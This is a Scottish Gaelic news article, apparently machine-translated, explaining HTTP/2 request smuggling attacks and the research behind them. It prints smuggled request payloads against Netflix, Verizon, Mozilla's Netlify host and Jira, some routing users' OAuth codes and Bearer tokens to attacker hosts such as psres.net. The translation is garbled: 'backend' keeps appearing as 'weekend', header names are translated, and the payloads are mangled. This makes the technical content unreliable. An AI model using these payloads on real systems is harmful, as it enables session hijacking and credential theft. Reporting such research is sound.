Ionnsaigh ùr air siostaman aghaidh-cùl-taic a leigeas leat a dhol a-steach do iarrtasan

Tha siostaman lìn anns a bheil an ceann aghaidh a’ gabhail ri ceanglaichean tro HTTP/2 agus gan cur chun backend tro HTTP/1.1 air a bhith fosgailte do dh’ atharrachadh ùr den ionnsaigh “Smuggling Iarrtas HTTP”, a leigeas, le bhith a’ cur iarrtasan teachdaiche a chaidh an dealbhadh gu sònraichte, gu cuir a-steach susbaint iarrtasan bho luchd-cleachdaidh eile air an giullachd san aon shruth eadar aghaidh agus backend. Faodar an ionnsaigh a chleachdadh gus còd JavaScript droch-rùnach a chuir a-steach do sheisean le làrach-lìn dligheach, seach-rathad siostaman bacadh ruigsinneachd agus paramadairean dearbhaidh eadar-ghabhail.

Bidh an duilgheadas a’ toirt buaidh air proxies lìn, luchd-cothromachaidh luchdan, luathaichean lìn, siostaman lìbhrigidh susbaint agus rèiteachaidhean eile anns a bheil iarrtasan air an ath-stiùireadh ann an dòigh aghaidh-gu-cùl-taic. Sheall ùghdar an sgrùdaidh an comas ionnsaigh a thoirt air siostaman Netflix, Verizon, Bitbucket, Netlify CDN agus Atlassian, agus fhuair e 56 mìle dolar ann am prògraman duais airson so-leòntachd a chomharrachadh. Chaidh an duilgheadas a dhearbhadh cuideachd ann am bathar F5 Networks. Tha an duilgheadas gu ìre a’ toirt buaidh air mod_proxy ann am frithealaiche Apache http (CVE-2021-33193), tha dùil ri fuasgladh ann an dreach 2.4.49 (chaidh fios a chuir chun luchd-leasachaidh mun duilgheadas tràth sa Chèitean agus chaidh 3 mìosan a thoirt dhaibh airson a chàradh). Ann an nginx, chaidh bacadh a chuir air a’ chomas na cinn-cinn “Content-Length” agus “Transfer-Encoding” a shònrachadh anns an fhoillseachadh mu dheireadh (1.21.1). Tha innealan ionnsaigh mar-thà air an toirt a-steach don inneal Burp agus tha iad rim faighinn ann an cruth leudachadh Turbo Intruder.

Tha prionnsapal obrachaidh an dòigh ùr airson iarrtasan a chuir a-steach do thrafaig coltach ris an so-leòntachd a dh’ ainmich an aon neach-rannsachaidh o chionn dà bhliadhna, ach cuingealaichte ri cinn-aghaidh a ghabhas ri iarrtasan thairis air HTTP/1.1. Cuimhnichidh sinn, anns an sgeama frontend-backend, gum faighear iarrtasan teachdaiche le nód a bharrachd - an frontend, a tha a’ stèidheachadh ceangal TCP fad-ùine leis an deireadh-sheachdain, a bhios gu dìreach a’ làimhseachadh iarrtasan. Tron cheangal cumanta seo, mar as trice bidh iarrtasan bho luchd-cleachdaidh eadar-dhealaichte air an tar-chuir, a bhios a’ leantainn an t-sreath aon às deidh a chèile, air an sgaradh le protocol HTTP.

Bha an ionnsaigh clasaigeach “Smuggling Iarrtas HTTP” stèidhichte air an fhìrinn gu bheil frontends agus backends a’ mìneachadh cleachdadh cinn HTTP “Content-Length” (a ’dearbhadh meud iomlan an dàta san iarrtas) agus“ Transfer-Encoding: chunked ”(a’ ceadachadh dàta ri ghluasad ann am pàirtean) ann an dòigh eadar-dhealaichte. . Mar eisimpleir, ma tha an aghaidh aghaidh a’ toirt taic do “Content-Length” ach a’ seachnadh “Transfer-Encoding: chunked”, dh’ fhaodadh neach-ionnsaigh iarrtas a chuir a-steach anns a bheil an dà chuid na cinn “Content-Length” agus “Transfer-Encoding: chunked”, ach chan eil am meud “Content-Length” a’ freagairt ri meud an t-sèine chunnta. Anns a 'chùis seo, bidh an aghaidh aghaidh a' giullachd agus ag ath-stiùireadh an iarrtais a rèir "Content-Length", agus bidh an deireadh-sheachdain a 'feitheamh ri crìoch a chur air a' bhloc stèidhichte air "Transfer-Encoding: chunked" agus bidh an earball a tha air fhàgail de iarrtas an neach-ionnsaigh a bhith aig toiseach iarrtas cuideigin eile air a chraoladh an ath rud.

Eu-coltach ris a 'phròtacal teacsa HTTP / 1.1, a tha air a pharsadh aig ìre na loidhne, tha HTTP / 2 na phròtacal dà-chànanach agus a' làimhseachadh blocaichean dàta de mheud ro-shònraichte. Ach, bidh HTTP / 2 a’ cleachdadh cinn-cinn meallta a fhreagras ri bannan-cinn àbhaisteach HTTP. Ann an cùis eadar-obrachadh leis an deireadh-sheachdain tron ​​​​phròtacal HTTP / 1.1, bidh an frontend ag eadar-theangachadh na cinn-cinn meallta sin gu cinn-cinn HTTP coltach ris HTTP / 1.1. Is e an duilgheadas a th’ ann gu bheil an backend a’ dèanamh cho-dhùnaidhean mu bhith a’ parsadh an t-srutha stèidhichte air na cinn HTTP a tha air an suidheachadh leis an aghaidh, gun fhiosrachadh a bhith aca mu pharaimearan an iarrtais thùsail.

Gu sònraichte, faodar na luachan “fad susbaint” agus “còdachadh gluasaid” a chuir a-mach ann an cruth cinn-cinn meallta, a dh’ aindeoin nach eil iad air an cleachdadh ann an HTTP / 2, leis gu bheil meud an dàta gu lèir air a dhearbhadh ann an raon air leth. Ach, rè a’ phròiseas airson iarrtas HTTP/2 a thionndadh gu HTTP/1.1, tha na cinn-cinn sin air an giùlan thairis agus faodaidh iad an backend a chur troimhe. Tha dà phrìomh sheòrsa ionnsaigh ann: H2.TE agus H2.CL, anns a bheil an backend air a mhealladh le còd gluasad ceàrr no luach fad susbaint nach eil a’ freagairt ri fìor mheud na buidhne iarrtais a gheibh am beulaibh tron Pròtacal HTTP/2.

Ionnsaigh ùr air siostaman aghaidh-cùl-taic a leigeas leat a dhol a-steach do iarrtasan

Is e eisimpleir de ionnsaigh H2.CL meud ceàrr a shònrachadh anns a’ bhann-cinn fad susbaint nuair a chuireas tu iarrtas HTTP/2 gu Netflix. Tha an t-iarrtas seo a’ leantainn gu cuir a-steach bann-cinn HTTP coltach ris Content-Length nuair a gheibh thu cothrom air an backend tro HTTP / 1.1, ach leis gu bheil am meud ann an Susbaint-Length air a shònrachadh nas lugha na an fhìor fhear, tha pàirt den dàta san earball air a phròiseasadh mar an toiseach an ath iarrtas.

Mar eisimpleir, iarr HTTP/2 : modh POST : slighe / n : ùghdarras www.netflix.com susbaint-fad 4 abcdGET / n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Mar thoradh air an sin thèid iarrtas a chuir chun backend: POST / n HTTP/1.1 Host: www.netflix.com Susbaint-Length: 4 abcdGET / n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Leis gu bheil luach 4 aig Content-Length, cha ghabh an backend ach ri “abcd” mar chorp an iarrtais, agus thèid an còrr de “GET / n HTTP / 1.1 ....” a phròiseasadh mar thoiseach iarrtas às deidh sin co-cheangailte ri cleachdaiche eile. Mar sin, thèid an t-sruth a dhì-shioncronachadh agus mar fhreagairt don ath iarrtas, thèid toradh giollachd an iarrtais meallta a chuir a-mach. A thaobh Netflix, le bhith a’ sònrachadh aoigh treas-phàrtaidh anns a’ cheann “Host:" ann an iarrtas meallta thug an neach-dèiligidh am freagairt air ais “Suidheachadh: https://02.rs?x.netflix.com/n” agus leig le susbaint neo-riaghailteach a chuir chun neach-dèiligidh, a’ toirt a-steach ruith do chòd JavaScript ann an co-theacsa làrach Netflix.

Tha an dàrna roghainn ionnsaigh (H2.TE) a’ toirt a-steach a bhith a’ cur a’ chinn “Transfer-Encoding: chunked”. Tha cleachdadh a’ chinn-cinn còdaidh gluasaid ann an HTTP/2 air a thoirmeasg leis an t-sònrachadh agus thathas ag òrdachadh iarrtasan leis a bhith air an làimhseachadh mar ceàrr. A dh’ aindeoin seo, chan eil cuid de bhuileachadh aghaidh-aghaidh a’ toirt aire don riatanas seo agus leigidh iad le bhith a’ cleachdadh bann-cinn còdaidh gluasaid ann an HTTP/2, a tha air a thionndadh gu bann-cinn HTTP coltach ris. Ma tha bann-cinn “Transfer-Encoding” ann, faodaidh an backend a thoirt mar phrìomhachas nas àirde agus am pìos dàta a pharsadh le pìos ann am modh “chunked” a’ cleachdadh blocaichean de dhiofar mheudan anns a’ chruth “{size}\r\n{block }\r\n{size} \r\n{block}\r\n0", a dh'aindeoin a' chiad roinn a-rèir meud iomlan.

Bha làthaireachd beàrn mar sin air a dhearbhadh le eisimpleir Verizon. Bha an duilgheadas co-cheangailte ris an portal dearbhaidh agus an siostam riaghlaidh susbaint, a tha cuideachd air a chleachdadh air làraich leithid Huffington Post agus Engadget. Mar eisimpleir, iarrtas teachdaiche tro HTTP / 2 : : modh POST : slighe / identitfy / XUI : ùghdarras id.b2b.oath.com gluasad-còdachadh air a tharraing 0 GET / oops HTTP / 1.1 Host: psres.net Susbaint-Fad: 10 x=

Mar thoradh air an sin chaidh iarrtas HTTP/1.1 a chuir chun deireadh-sheachdain: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Susbaint-Fad: 66 Gluasad-còdachadh: chunked 0 GET / oops HTTP/1.1 Host: psres. lìon Susbaint - Fad: 10x =

Thug an deireadh-sheachdain, an uair sin, an aire don bhann-cinn “Content-Length” agus rinn e sgoltadh in-sruth stèidhichte air “Transfer-Encoding: chunked”. Ann an cleachdadh, rinn an ionnsaigh e comasach iarrtasan luchd-cleachdaidh ath-stiùireadh chun làrach-lìn aca, a’ toirt a-steach a bhith a’ gabhail a-steach iarrtasan co-cheangailte ri dearbhadh OAuth, agus bha na paramadairean aca air an taisbeanadh ann am bann-cinn an Referer, a bharrachd air a bhith ag atharrais air seisean dearbhaidh agus a’ brosnachadh siostam an neach-cleachdaidh gus teisteanasan a chuir. gu òstair an neach-ionnsaigh. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Ùghdarrachadh: Neach-giùlain eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

Gus ionnsaigh a thoirt air buileachadh HTTP/2 nach leig leis a’ bhann-cinn còdaidh gluasaid a bhith air a shònrachadh, chaidh dòigh eile a mholadh a tha a’ toirt a-steach a bhith a’ cur a’ bhann-cinn “Còdachadh Gluasaid” an àite le bhith ga cheangal ri cinn-cinn meallta eile air an sgaradh le caractar loidhne ùr ( nuair a thèid a thionndadh gu HTTP / 1.1 sa chùis seo cruthaichidh e dà cheann HTTP fa leth).

Mar eisimpleir, thug an duilgheadas seo buaidh air Atlassian Jira agus Netlify CDN (a chleachdar airson duilleag tòiseachaidh Mozilla a fhrithealadh ann am Firefox). Gu sònraichte, an t-iarrtas HTTP/2 : modh POST :path / : authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n\r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Susbaint-Fad: 5\r\n \r\nx=

mar thoradh air an sin chaidh iarrtas HTTP / 1.1 POST / HTTP / 1.1 a chuir chun backend \ r \ n Host: start.mozilla.org \ r \ n Foo: b \ r \ n Còdachadh gluasaid: chunked \ r \ n Susbaint-fad : 71 \ r \ n \ r \ n 0 \ r \ n \ r \ n GET / HTTP / 1.1 \ r \ n Host: evil-netlify-domain \ r\n Susbaint-Fad: 5 \ r \ n \ r \nx=

B’ e roghainn eile airson a’ cheann “Còdachadh Gluasaid” a chuir an àite a bhith ga cheangal ri ainm bann-cinn meallta eile no ri loidhne le modh tagraidh. Mar eisimpleir, nuair a gheibh thu cothrom air Atlassian Jira, dh’ adhbhraich an t-ainm meallta-cinn “foo: bar \ r\ntransfer-encoding” leis an luach “chunked” na cinn-cinn HTTP “foo: bar” agus “transfer-encoding: chunked” a chur ris , agus a' sònrachadh pseudo-header ": modh" luach "GET / HTTP/1.1\r\nTransfer-encoding: chunked" eadar-theangachadh gu "GET / HTTP/1.1\r\ntransfer-encoding: chunked".

Mhol an neach-rannsachaidh a chomharraich an duilgheadas cuideachd innleachd tunail iarrtas gus ionnsaigh a thoirt air cinn-aghaidh, anns am bi gach seòladh IP a’ stèidheachadh ceangal air leth ris an deireadh-sheachdain agus nach eil trafaic bho luchd-cleachdaidh eadar-dhealaichte measgaichte. Chan eil an dòigh a thathar a’ moladh a’ ceadachadh a bhith a’ cur bacadh air iarrtasan bho luchd-cleachdaidh eile, ach tha e ga dhèanamh comasach tasgadan co-roinnte a phuinnseanachadh a bheir buaidh air giullachd iarrtasan eile, agus a’ ceadachadh bannan-cinn HTTP a-staigh a chleachdadh gus fiosrachadh seirbheis a ghluasad bhon aghaidh chun an deireadh-sheachdain ( mar eisimpleir, nuair a dhearbhas tu air an taobh aghaidh ann an cinn-cinn mar sin faodaidh iad fiosrachadh mun neach-cleachdaidh gnàthach a chuir chun backend). Mar eisimpleir de bhith a’ cleachdadh an dòigh ann an cleachdadh, a’ cleachdadh puinnseanachadh tasgadan, bha e comasach smachd fhaighinn air duilleagan ann an seirbheis Bitbucket.

Source: fosgailtenet.ru

Cuir beachd ann